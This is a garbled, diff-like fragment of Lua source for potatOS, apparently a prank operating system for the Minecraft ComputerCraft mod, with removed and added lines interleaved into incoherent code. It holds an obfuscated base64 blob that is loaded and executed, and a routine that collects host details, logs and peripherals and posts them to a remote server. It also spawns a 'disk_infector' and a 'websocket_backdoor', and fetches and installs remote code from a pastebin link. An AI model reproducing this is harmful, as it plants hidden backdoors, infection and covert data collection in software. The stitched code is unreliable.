	for _, name in pairs(peripheral.getNames()) do
532+
			-- The top and bottom lines will be random text, the middle two potatOS and the version, swapping every second.
533-
		x[name] = peripheral.getType(name)
533+
			for _, s in pairs({peripheral.find "minecraft:sign"}) do
534
				pcall(s.setSignText, "\167k" .. randbytes(16), l2, l3, "\167k" .. randbytes(16))
535-
	return x
535+
				sleep()
536
			end
537
			temp = l3
538-
local magic_blob_of_magic
538+
			l3 = l2
539-
local function load_magic_blob()
539+
			l2 = temp
540-
	local a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'local b,c,d,e,f=string.gsub,string.byte,string.sub,string.char,string.find;local function b64dec(g)g=b(g,'[^'..a..'=]','')return b(g,'.',function(h)if h=='='then return''end;local i,j='',f(a,h)-1;for k=6,1,-1 do i=i..(j%2^k-j%2^(k-1)>0 and'1'or'0')end;return i end):gsub('%d%d%d?%d?%d?%d?%d?%d?',function(h)if#h~=8 then return''end;local l=0;for k=1,8 do l=l+(d(h,k,k)=='1'and 2^(8-k)or 0)end;return e(l)end)end
540+
			sleep(1)
541-
	local l, e = load(decompress(b64dec("UFNDOkxaVwobAEwAdQBhAFEAAAABAAQABwEIAAAAAwAAAAwBQADmAAwBEAERAQwBAgAfAAIAAQAMAQoAEwFBABABgQBAAAwBwQCAAAwBAQDBAAwBIgAeAQIARQAFAQAARgBAACQBhQCAABcBhgDAAEEAAQDFAAAAAgAAAMYAQADCAAEABQABADgBBgCBAEIAKAEBABcBRgDBAMIAAgCBAAEACwHFAEEACwHGAIEAwwADAAUAFgEAAAYAwgBDAAQAZAA4ARABIQGkAEIAEQGAAAsBDAEEAAwBgABmAQAAIQHkAIIAYgFdAQoBEAFvARcBagERAQUAEgFqAT0BAwBmAQYAQwBEAAYAQAADAIAABQCBAIMAZgFcAIMABQEcAIgBAQAaAEMADAEWAMAAagEFAMMAZgFPAXYBgQBDAHYBHABDADABBQCDAHYBgAGCAVIBdgGHAQUBfAEDAH8BgQGDAagBAAClAQEApwGpAaIBQwAGAK0BiwGKAQUBRQCfAWoBqgHBAIMAtAGcAIsBRgCDAL4BhQDDALQBxQC6AQAABACCAUEABAAHAAAAHACEAAUBxgADAIQAzwHLAQUAQQBEAM8B0QHTAdUBBwCcAAMARQEWADABgAAXAAAAgwAIABYABQGAAMAAywG0AXYBAABAAAUAgAAIAIIBAAAJANwARAA3AaEAiAEAAOQB/QB/AIUAugHAAKoBAQDWAQAA3ACLAYYAUwEHAAUCggEBAMQAzwEKAgUBDAIDAA4CBgIEAAkBFAIBAMsAQwDIAAcAQQCEABsCgwAwAcoBzAHEAAkB3QGvAQcB8gHLAQcAaAGCAcEABAAJAAAAnADSAQEAHADEADABpQBmAQEAmgD7Af8BkQGAAMUAxAA+AkUANQJBAEUAdgH6ATABxgCEAEkACQDaAGkB5AFqAUUCNQI9ARkB+gEFAcUAhADxAfQB2QFFABkBHACFANMBBACFAFICQQKQAVYCRgIFAYUAGQFKAkwCRAAwAUUCGQEFAIUAoAFgAoEABQALAK0BZQKvAUsCCgDcADgCVwBAAMsACQBrAkQCbQIBAIUAfQJxAgkCcwIBAO4BAAAHAIMCIQHOAMQAhwIaAFQCIQGAAAIA8QEeAHYBAQDkAQEAgAALAAUAzAAIAIEARQAMANABLwEBAFsAKQEKAOsBagFBAMUArQKJAEQABQCZAHcCeQKiAQUADQB+AqYBgQIaACkBQgKSAcUAlQFFAMECqwKaAUUAnQF4AvIBegKFAMECXAB/AgYAgQLzAaIBxQDVAtcC2QJ6AgUADgDCAgEARgBLAgkAWgDGAokChQDJAgAAwQBFAOIC5AJ2AZwAzwKlAmACwQCFAOICnAB/AoYAeAIJAMAAYAIBAMYA4gLcAH8CxgDFAAUANQIGAMwBBgAPANABhgCmAQYABgAJAFsARgAAAAsAVQKAABQDpgK0AoAAQAC0AQwAgAC0AQoAwAAKAwoAAQBHAA0DnACGADABJAMAABkBMAIKAEEAhwANA9wAKwMBAM4AxgDPAA0AjADGAAYADQAtAy8DgAAxAwcAEAAJAjYDzgBGANAAOwM9Az8DIgOUAkIDMgNFAzUDMAE4A0oDPAM+AyQDIQGUAgAADQBFAAcAEQArAUcA0QAOAFwAhwAhAUwARwDPAA4AUwMXATAC2QGHAGADHACHAKYBBwAHAAkAGgBHAI8BQwIFAMcAlQHHAGADgQBHAJoBRwCdAUcAEgDyATACDQCUADACDABVAIcAhwAOAHIDBQENAH0DDgCJAM4BpAAeAHQBSgAQAWQBAADHANQAYADHAE8BEAH2AMgAxACgAKQDDAFJAPMA2QDbAKoDAAAvAFQAtQDRAM0BaQEAAGIAaQB0AMoB8QG4A3gAbwByAMoBzwEMAXMAdAByAGkAbgBnALwDEAFjAGgAYQDBAwQAtAEMAXQAYQBiAGwAZQDCA8wDbwBuAGMAYQC7A84BEAHIA3MAZQByAN8DvQNiAGEAbgBkAHABEgEuAEAA0QMQAbkDdAAzADIAygEJAQwBbAByAG8A1AN0ANgDGgLxA2wAcwBoAGkAZgDfA54DZgBzANkDDAFlAHgAaQDFAwkEBAAdABABKwBdADQAaAAlAFoALABpACkAVQAkAGUAJgBtACsAVQAlAFUAPwBbAD4AaAAtAFYAOQBUACUAXgDKAdIDAADkA/oD0AMVABABTABhAOMDcgAgAGIAZQBlAHMAIABkAGUAcABsAG8AeQBlAGQALgDsA3cBBACeA18AeQMEAMECDAE8AGQALQBaACQAaQAlAFIAKABqADoAaADKAQ0DDAE0AGQAXgQsAGEANQBbADwAZwAsAGoAJwAvBDQCEAEyAGcANwBYAFgEJgTKAVIEAAAzAFsAMABpACMAVQA+AGwAMABqACEAVgAwBBABcABhAGkAcgAQBL0DIwBRACIAYQDLAwwBOwBUAIUEkwQAABYEPABjAMoBfQIMAToAbwA5AGAAIgBmADcAVAAmAP4DvQMtAFEAOwBbAMoBtwNyAEMESwSIBO8DNQIMASAEVAQ0AGMAMQBYAMoBngMuAGkAygHnAQwBUAD6A3YAaQBCBCAAWwBSAEUARABBAEMAVADNBF0ALQAwADMASgQEAK0CDAF2AOQDBARfAEIEYgB1AMoD8AMMAXAAxwNuAN8DFAAQAUQAZQDgBGcAIABtAG8AyQRlAG4A1QPXA0kEYAQQASEAgARnADAAYgAcBCUAWQAyAGQAIQBdAK8EEAFOAG8A1wS9A3QAeQBwAP4DYQQAAAQFMgBrAC4AbgAvAFUAhQRAAG8ApATKAbYEAABmAHUA3AN0AGkA2wPKARUDDAHDAAwCKgUpBSwFKwUuBS0FMAUvBTIFMQU0BTMFhgAhADgFOAWzBGIE7wMxBG0A3gPNA8oB2QQAAF4AKAAuACoAKQAvAEYFLQApADoACgQAAF8AcABmAHYAbADrAy0CDAFbAEgABQUEADYEJQFuACIAYgAjAFoAPgBnAC0AUgCkBDQAcABgBT8AYAAzAF8AygFdBQAAQgA+BCAAbAA5BOQDQARCBEQERgRIBNcEeQQ1AGAAOQBXACQAbgBmBLwEMQBvBXAEDAE9AFgAIgBpACQAYQAjAG8EHgU+AGsAOABsADIAbwA8AHAAygEbABABQwByANUDIADFBPsDbwBjAG8AbAAgAMgDugNpAGEAbABpAHoAfQWdBBABOQBTAFYEJwBZADsAXAAoAGYA+AQMATMAVwA5AF8AKQBeACMAVgAXBTEAXABAAGwAswUMASMAWQC6BDwAbACEBTsAbwWeAxAB8AA/ANcFEAGAAXcBYADdBRIBCADgBREB0ADjBRABEADmBQ0BzQGeA28AEATiAgwBZwBlAHQAQwBvAG0AcAB1AP0DcgBJAPsBBACeBAAAOQBbACkAUQDGBTAAZgBWBMoBIAA3BGEAIQXNA8gD7gRTAEMAUAAtADYAMAA5ADQALQAxAKoFbgDFA+kDYwA/BNcE9wNQBW0AzQNlAGMAawAdBRABdADbA3UAbQA9BMED2wUMATEEMQRMAVcBMQTEABABBgAbASsBgQAMAdwAgAAwAf4CIQGaA1oDdwFXATgGRwYxBkgGRgZJBgwBngNvAcEEdQFxARABagASAb0DbwFtAFUGEAFzATcBEAGSBBEBMgYQAQQAbQMtAOoEEAEPAx4BOgEeAYwAkQEjAVoDXAA/BgEAZwYAAEwAPwYAAFAAwACRAdIBIQHGAAAAGwEBADQBNgJwBjcGKgFzAUEASwEAAIcGCQInAYMGFwGFBjoGSwEXAdwAiwYiASoBfQZFAYgGhwaSBjcBjAaVBoAGiAY6BpoGAgA3BjABQQEbAUAAjQY+BkAGkQGDAIMGVwFBAB4BQQDBAJEGcAZBBoAALwQFAUMGAAAhBjAG2QUwBugFMAYcAOkFAADgALADEQHCBiYBMAbiBTAGJgAeARABZAZMBksG0QZgBtAG0wbSBkoG1QbYBtcG2gbUBtsG1gbcBt8G3gbhBtkG4AbjBuIGnQNSBgwBUAYQASwA6AYAAG8A+AHrBu0GnAV5BOwGZQHtBsoDbwEbAW8BXwRvAV4G3QYIABcBDwAnABABnAMMATwGDAHUAFoGOgagAFkDhABzAcsAHQHyAQIAngLcAIEAMAHNAMEABQIEABMHNgIWBxECcwELAIIAagYCAMAAAgAcAIIAMAENAAIAzQFEABwHFQcwAQ4AQgBPAQwAPAEEAC0H7AEcB8QAEwcGAQsBAgBEAIEBAgCEAAsBAwCuAVAAgwDBAAoDCwEEABwAgQEBANwAXQFcAGEBAACfAIAA+AB/AHoGAwBDAgAAnQAiAZ4AEAG5BsMDOwUAAL0GRQbvA+cDeQD9AzsFHQPpBUAAVADCBjAAwgZwAM0GDAEDB+QG3QblBngHdwd6B3YHfAfmBn0HeQd/B0oGHgVvAcEDEQEmAO0GCQRbBocHDAFDBbwFwAMaBkIEeAApAMoBEAEiABABjQdmAI8HrwVtALoDkwe3A5YHDAH+BY4HOwTFA0MEngeVB+0GuwO9AyEA7QZ1AAAAQwWsBxMBEAHMBRMA+QTtBsEEcQWxB7oG7QbYA28BvQVvAesDbwFiAFwGDAGSBG8BbgDEBwAAJwZvAZwEVgGVBskHngO3A4AHfgfUB9MH1gd7B9UH2AfTB2EH3AcQAd0HDAHfB1sDDAEhBuQHEAEhBhkBGAEQAegHLgPqB+0H6QfvB+wH8AfrB/MHEAH+BfYH9Qf4B4wHlwf7B/oH/QevB/wH/wf+B0MFAwgQAXkEeQTvBQAACAgKCBABCAhDBRAFYAMMARAIAAASCBQIEAEVCBEIFggQAYcDDAEbCAAAHQgfCBoIEAG1BwwBIwgAACUIJwgiCCkIJAgqCAAA6QQMAXEFMAgQATEILwgQAbQC/wE1CBABwwQAADoIOggZABABPggMAUAIAABCCEQIPwgQARoARwhJCAwBSAgMARwAEAFOCE0ITwhSCFEIVAjQAVMIAAASBAwBWQhYCBABWwgfABABXwgMAWEIAAAJBgwBZQhkCBABZwhnCKAHAABsCGwIIwAQAXAIzgVxCBABJQB1CHcIDAF2CHkIeAgAAHoIAACLB38IEAGACIAIKAAQAYUIDAGHCAAAiQiLCIYIjQiICBABkwcMAZEIAACTCJMIKgAQAZcIDAErABMEnAiaCM4GnwgMAc8GAACiCKQIoAijCKYIpQihCBABSgQMAawIAACuCLAIEAEvALIItAgMAbMItgi1CLEDuQi3CLoIuAi+CL0IwAi8CMIIuwjECL8IMAAQAccIDAHJCAAAywjNCMgIEAExANAI0ggMAdEI1AjTCAAA9QMMAdkI2AhxBBABNADeCOAIYgThCJkE4wjfCCUB7QYnBjMGcwH9BgAAcQWXBskHwwfuCOsIzAPtCFoG8wgMAesD8giyBwsE9QgiAfcIHwX9CAUB/wjKA/oIyQcbAQUJ+wY7CPYI+wgAAMgHUAgCCQwJcQB9CAsJSwRoAAkEPgAUCZ4DaQBIAAAAjgH+CAwBRQOICJkHOwTxBW4A5APeA8ADkwdOABABvQT+B6MHIAAcBv0DKgksCQwIhggjCSAApwXnBPoDbAAzCQwBLQmUB9oEZQB5AAAATwAQAYYE0AZrAK4FdQDYA0UJDAFHCUAJ7gZzAJwE/gbvCL0DdQBXCa4HygMfCckHTQAAAJwFWwlvASsJXwkQCUsEXwApARIJWwm3A28AUwCcBJgAFAlDBVIJaABlAD8FIwWxBesDoAAQAaQA5wbEA8MHuAAUCVYJVwnBBLwAfwkQAWUAUwB0ALsDzgAUCbcDZQBDAI4BiglbCZ4DZQBMAAAAkAlkCYwJhwkAANMAiwkQAXYAeADYA+kAnAkMAWgAnwljBxQJEQE=")), "@magic", "b")
541+
542-
	if not l then
542+
	end, "signd")
543-
		printError(e)
543+
544-
		add_log("magic blob of magic failed to magically load: %s", e)
544+
545
		while true do
546-
		magic_blob_of_magic = l
546+
			peripheral.find("computer", function(_, o)
547
				local l = o.getLabel()
548
				if l and (l:match "^P/" or l:match "ShutdownOS") then
549
					o.turnOn()
550-
local last_loaded
550+
551-
local function set_last_loaded(x)
551+
			end)
552-
	last_loaded = x
552+
			sleep(1)
553
		end
554
	end, "onsys")
555-
local executing_disk
555+
556-
-- Get data which is probably sufficient to uniquely identify a computer on a server.
556+
	-- Yes, you can disable the backdoors, with this one simple setting.
557-
function _G.get_host(no_extended)
557+
558-
	local out = {
558+
	if not settings.get "potatOS.disable_backdoors" then
559-
		label = os.getComputerLabel(),
559+
		process.spawn(disk_infector, "potatodisk")
560-
		ID = os.getComputerID(),
560+
		process.spawn(websocket_backdoor, "potatows")
561-
		lua_version = _VERSION,
561+
562-
		CC_host = _HOST,
562+
	-- Spin up the VM, with PotatoBIOS.
563-
		build = _G.build_number,
563+
564-
		craftOS_version = os.version(),
564+
		require "yafss"(
565-
		debug_available = _G.debug ~= nil,
565+
			"potatOS",
566-
		ingame_location = location,
566+
			FS_overlay,
567-
		SPF_server = SPF.server,
567+
			API_overrides,
568-
		CC_default_settings = _CC_DEFAULT_SETTINGS,
568+
			{ URL = "https://pastebin.com/raw/wKdMTPwQ" }
569-
		turtle = _G.turtle ~= nil,
569+
		)
570-
		pocket = _G.pocket ~= nil,
570+
	end, "potatoUI")
571-
		advanced = term.isColor(),
571+
572-
		system_clock = os.clock(),
572+
573-
		disk_ID = executing_disk,
573+
574-
		gen_count = gen_count,
574+
575-
		uuid = settings.get "potatOS.uuid",
575+
	fs.makeDir "potatOS"
576-
		timestamp_UTC = os.epoch "utc"
576+
577
	-- Download all files in parallel.
578-
	if _G.ccemux and _G.ccemux.nanoTime and _G.ccemux.getVersion then
578+
579-
		out.nanotime = _G.ccemux.nanoTime()
579+
580-
		out.CCEmuX_version = _G.ccemux.getVersion()
580+
		table.insert(fns, function()
581
			local h = http.get(URL)
582-
	if _G.process and type(_G.process.running) == "table" then
582+
583-
		out.process = _G.process.running.name
583+
584
			h.close()
585-
	if no_extended ~= true then
585+
586-
		local ok, err = pcall(get_log)
586+
			fwrite(filename, x)
587-
		out.log = err
587+
588-
		
588+
		end)
589-
		--[[
589+
590-
		Apparently CraftOS-PC ASKS to read this now! Ridiculous, right?
590+
591-
		if _G.mounter then
591+
592-
			local ok, err = pcall(craftOS_PC_read_OS)
592+
593-
			out.OS_data = err
593+
594
	set("shell.allow_disk_startup", false)
595-
		]]
595+
596-
		local ok, err = pcall(dump_peripherals)
596+
597-
		out.peripherals = err
597+
	os.setComputerLabel("P/" .. randbytes(64))
598
599-
	if _G.debug then out.stack = debug.traceback() end
599+
600
end
601
602
local command = table.concat({...}, " ")
603-
-- Reports provided incidents to Santa, or possibly just me. Not Steve. See xkcd.com/838. Asynchronous and will not actually tell you, or indeed anyone, if it doesn't work.
603+
604
-- Detect a few important command-line options.
605-
Fix bug PS#C23E2F6F
605+
if command:find "mode2" then settings.set("potatOS.hidden", true) settings.save ".settings" os.reboot() end
606-
Now actually report... well, some classes of error, definitely some incidents... to help with debugging. Also tracking down of culprits.
606+
if command:find "mode8" then settings.set("potatOS.hidden", false) settings.save ".settings" os.reboot() end
607
if command:find "update" or command:find "install" then install() end
608-
function _G.report_incident(incident, flags, options)
608+
609-
	local options = options or {}
609+
if not polychoron or not fs.exists "json" then -- Polychoron not installed, so PotatOS Tau isn't.
610-
	local hostdata = {}
610+
611-
	if options.disable_host_data ~= true then
611+
612-
		hostdata = get_host(options.disable_extended_data or false)
612+
613
		if not http then return "Seriously? Why no HTTP?" end
614-
	if type(options.extra_meta) == "table" then
614+
615-
		for k, v in pairs(options.extra_meta) do hostdata[k] = v end
615+
			local ok, this = pcall(fread, this_file)
616
			local h = http.get(this_file_URL)
617-
	if not magic_blob_of_magic then
617+
			local latest = h.readAll()
618-
		load_magic_blob()
618+
619
	
620-
	if magic_blob_of_magic then
620+
			-- Ensure that the potatOS update we're installing isn't going to (immediately) break it.
621-
		local ok, err = pcall(magic_blob_of_magic, hostdata)
621+
			if not is_valid_lua(latest) then
622-
		if not ok then
622+
				print "Syntax Error"
623-
			printError("MAGIC: " .. err)
623+
				printError(err) 
624-
			add_log("magical magic blob magically failed in some magical way: %s", err)
624+
625
626
			if ok and latest ~= this then
627
				print "Updating!"
628-
	if type(incident) ~= "string" then error "incident description must be string" end
628+
629-
	local payload = json.encode { 
629+
630-
		report = incident, 
630+
631-
		host = hostdata, 
631+
			-- Spread out updates a bit to reduce load.
632-
		code = options.code or last_loaded, 
632+
633-
		flags = flags
633+
634
	end, "potatoupd")
635-
	-- Workaround craftos-pc bug by explicitly specifying Content-Length header
635+
636-
	http.request {
636+
637-
		url = "https://osmarks.tk/wsthing/report", 
637+
	if fs.exists "stack_trace.lua" then os.run({}, "stack_trace.lua") end
638-
		body = payload, 
638+
639-
		headers = {
639+
640-
			["content-type"] = "application/json",
640+
	if not ok then 
641-
			-- Workaround for CraftOS-PC bug where it apparently sends 0, which causes problems in the backend
641+
		printError(err) 
642-
			["content-length"] = #payload
642+
		print "Press any key to reboot. Press u to update."
643
		local _, k = os.pullEvent "key"
644-
		method = "POST"
644+
		if key == keys.q or key == keys.u then
645
			os.reboot()
646-
	add_log("reported an incident %s", incident)
646+
647
			install()
648
		end
649-
local xoshiro128, xoshiro128genstate
649+
650
651-
do
651+
652-
	-- http://prng.di.unimi.it/xoshiro128plusplus.c port
652+